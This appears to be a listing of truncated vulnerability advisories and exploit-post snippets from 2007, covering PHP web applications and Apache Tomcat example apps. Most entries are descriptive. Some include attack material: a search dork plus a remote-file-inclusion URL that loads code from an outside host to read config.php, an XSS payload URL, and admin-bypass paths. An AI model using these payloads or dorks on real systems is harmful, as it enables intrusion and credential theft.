Bitweaver XSS & SQL Injection Vulnerability

HSC Bitweaver XSS & SQL Injection Vulnerability Bitweaver is an open source content management system. Its speed and power are ideal for large-scale community websites and corporate applications, but it is simple enough for non-technical small site users to set up and administrate. It comes fully...

CVE-2007-5995: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in examples/patExampleGen/bbcodeSource.php in patBBcode 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the example parameter...

patBBcode 1.0 bbcodeSource.php Remote File Inclusion Vulnerability

No description provided by source. Link to download: http://www.php-tools.net/site.php?file=patBBCode/overview.xml Vuln file: examples\patExampleGen\bbcodeSource.php Vuln code: if !isset $GET'example' die 'No example selected.' ; $exampleId = $GET'example'; obstart; // make the example think it's...

CaupoShop Pro 2.x (action) Remote File Inclusion Vulnerability

No description provided by source. ork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami...

JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability ==================================================================== JobSite Professional v2.0 Remote...

openSUSE 10 Security Update : id3lib (id3lib-4316)

This update fixes a bug that allows local attackers to overwrite arbitrary files. CVE-2007-4460 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update id3lib-4316. The text description of this plugin...

tomcat examples jsp XSS

Multiple cross-site scripting XSS vulnerabilities in certain JSP files in the examples web application in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote attackers to inject arbitrary web script or HTML via...

FrontAccounting 1.13 Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ========================================================== FrontAccounting 1.13 Remote File Inclusion Vulnerabilities ========================================================== ?????????? ??????????????? ???????????????????...

CVE-2007-4949: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in phpReactor 1.2.7pl1 allow remote attackers to execute arbitrary PHP code via a URL in the pathtohomedir parameter to 1 ekilat.com-int.tpl.php, 2 phpreactor.org-top.tpl.php, or 3 ekilat.com-top.tpl.php in examples/. NOTE: this issue has been...

Fixed in Apache Tomcat 5.5.25, 5.0.SVN

Low: Cross-site scripting CVE-2007-2449 JSPs within the examples web application did not escape user provided data before including it in the output. This enabled a XSS attack. These JSPs now filter the data before use. This issue may be mitigated by undeploying the examples web application. Note...

CVE-2007-4724

CVE-2007-4724 describes a CSRF vulnerability in the Apache Tomcat calendar examples app, specifically in the file cal2.jsp of the calendar example. The issue allows a remote attacker to add events as arbitrary users by supplying the time and description parameters, enabling unauthorized calendar ...

CVE-2007-4724: Cross-Site Request Forgery (CSRF)

Cross-site request forgery CSRF vulnerability in cal2.jsp in the calendar examples application in Apache Tomcat 4.1.31 allows remote attackers to add events as arbitrary users via the time and description parameters...

Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery. XSS http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am3cscript3eale rt"XSS!"3c2fscript3e XSR...

A variety of URL deception of the century-vulnerability and early warning-the black bar safety net

This article has been published inhack the X-Filesmagazine issue 9..evil octal Starter..reprint please indicate the copyright. Author BLOG:http://www. ciker. org/ No. 7 of the X-Fileshanging horse,don't forget phpwind Foruma text reference to the URL of the cheating ways has caused me great...

Cross site scripting

Cross-site scripting XSS vulnerability in SendMailServlet in the examples web application examples/jsp/mail/sendmail.jsp in Apache Tomcat 4.0.0 through 4.0.6 and 4.1.0 through 4.1.36 allows remote attackers to inject arbitrary web script or HTML via the From field and possibly other fields, relat...

CVE-2007-3383: XSS in Tomcat send mail example

CVE-2007-3383: XSS in Tomcat send mail example Severity: Low Cross-site scripting Vendor: The Apache Software Foundation Versions Affected: 4.0.0 to 4.0.6 4.1.0 to 4.1.36 Description: When reporting error messages, the SendMailServlet does not filter user supplied data before display. This enable...

Apache Tomcat SendMailServlet example vulnerable to cross-site scripting via FROM field

Overview The example SendMailServlet page that comes with Apache Tomcat is vulnerable to cross-site scripting via the "From" field. Description Apache Tomcat is an implementation of the Java Servlet and JavaServer Page JSP technologies. Apache Tomcat includes a sample page called SendMailServlet,...

netflow-xss.txt

NetFlow Analizer 5 & OpManager 7 multiple XSS vendor url:http://www.adventnet.com/ advisore:http://lostmon.blogspot.com/2007/07/ netflow-analizer-5-opmanager-7-multiple.html vendor notify:yes exploits include:yes NetFlow Analizer and OpManager contains a flaw that allows a remote cross site...

VRNews 1.1.1 (admin.php) Remote Permission Bypass Vulnerability

No description provided by source. VRNews v1.x = /VRNews/admin.php Permission Found by: R4M! - [email protected] Dork: intitle:"vrnews v1" Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm Example: 1. /VRNews/admin.php?act=edit 2. /VRNews/admin.php?act=add 3. /VRNews/admin.php?act=confi...

Elkagroup Image Gallery 1.0 - SQL Injection

--==+================================================================================+==-- --==+ Image Gallery 1.0 SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SCRIPT DOWNLOAD: N/A SITE:...